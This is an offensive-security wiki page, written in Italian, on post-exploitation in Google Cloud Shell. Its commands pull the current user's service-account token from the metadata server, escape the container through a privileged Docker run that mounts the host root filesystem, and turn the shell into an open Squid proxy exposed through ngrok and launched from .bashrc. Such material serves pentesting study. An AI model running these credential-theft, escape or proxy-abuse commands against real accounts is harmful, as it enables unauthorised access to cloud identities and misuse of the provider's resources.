# GCP - Cloud Shell Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Cloud Shell

Per maggiori informazioni su Cloud Shell consulta:

{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}

### Ottiene il token dell'utente dai metadata

Accedendo semplicemente al metadata server puoi ottenere un token per accedere come l'utente attualmente connesso:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
```
### Container Escape / Docker use

> [!WARNING]
> In precedenza il cloud shell girava in un container con accesso al docker socket dell'host. Ora Google ha cambiato l'architettura e il container del cloud shell esegue un "Docker in a container". Quindi, anche se è possibile usare docker dal cloud shell, non potrai effettuare escape verso l'host usando il docker socket.
> Nota che in precedenza il file `docker.sock` si trovava in `/google/host/var/run/docker.sock` ma ora è stato spostato in `/run/docker.sock`.

<details>

<summary>Docker use / Vecchi comandi di container escape</summary>
```bash
sudo docker -H unix:///run/docker.sock pull alpine:latest
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///run/docker.sock start escaper
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
```
</details>

Inoltre, in passato era possibile trovare un token per un service account usato dalla cloud shell VM nel metadata server:

<details>

<summary>Vecchio service account dai metadata</summary>
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
Con i seguenti scope:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
```
</details>



### Usarlo come proxy

Se vuoi usare la tua istanza di google cloud shell come proxy devi eseguire i seguenti comandi (o inserirli nel file .bashrc):

<details>

<summary>Installa Squid proxy</summary>
```bash
sudo apt install -y squid
```
</details>

Per informazione, Squid è un server proxy HTTP. Crea un file **squid.conf** con le seguenti impostazioni:

<details>

<summary>Crea il file squid.conf</summary>
```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all
```
</details>

Copia il file **squid.conf** in **/etc/squid**

<details>

<summary>Copia la configurazione in /etc/squid</summary>
```bash
sudo cp squid.conf /etc/squid
```
</details>

Infine avvia il servizio squid:

<details>

<summary>Avvia il servizio squid</summary>
```bash
sudo service squid start
```
</details>

Usa ngrok per rendere il proxy accessibile dall'esterno:

<details>

<summary>Esponi il proxy con ngrok</summary>
```bash
./ngrok tcp 3128
```
</details>

Dopo l'esecuzione, copia l'URL tcp://. Se vuoi usare il proxy da un browser, è consigliato rimuovere la parte tcp:// e la porta e inserire la porta nel campo porta delle impostazioni proxy del browser (squid è un http proxy server).

Per un uso migliore all'avvio, il file .bashrc dovrebbe contenere le seguenti righe:

<details>

<summary>Aggiungi a .bashrc per l'avvio automatico</summary>
```bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128
```
</details>

Le istruzioni sono state copiate da [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Consulta quella pagina per altre idee folli per eseguire qualsiasi tipo di software (database e perfino Windows) in Cloud Shell.

{{#include ../../../banners/hacktricks-training.md}}
